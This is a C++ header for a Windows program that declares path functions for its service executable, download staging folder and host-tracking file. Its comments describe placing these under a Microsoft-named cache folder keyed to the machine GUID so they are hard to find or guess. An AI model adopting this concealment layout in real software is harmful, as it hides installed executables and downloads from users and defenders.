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#pragma once
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#include <windows.h>
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#include <string>
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// Deep, machine-specific artifact layout. Nothing sits in a folder named after
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// this project; the path is derived from the machine GUID so it is stable on a
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// host but not guessable from another one.
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//
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// %ProgramData%\Microsoft\Windows\Caches\<8hex>\<ServiceName>\<ServiceName>.exe
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// %ProgramData%\Microsoft\Windows\Caches\<8hex>\stage\ (downloads)
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// %ProgramData%\Microsoft\Windows\Caches\<8hex>\state.dat (host tracking)
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//
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// Override the root with ARDRV_ROOT (useful for tests).
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std::wstring ArdrvRoot();
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std::wstring ArdrvServiceDir(const std::wstring& serviceName);
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std::wstring ArdrvStageDir();
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std::wstring ArdrvStatePath();
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// Old flat layout, used only for one-time migration.
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std::wstring ArdrvLegacyStageDir();
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std::wstring ArdrvLegacyStatePath();
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void EnsureDirExists(const std::wstring& path);
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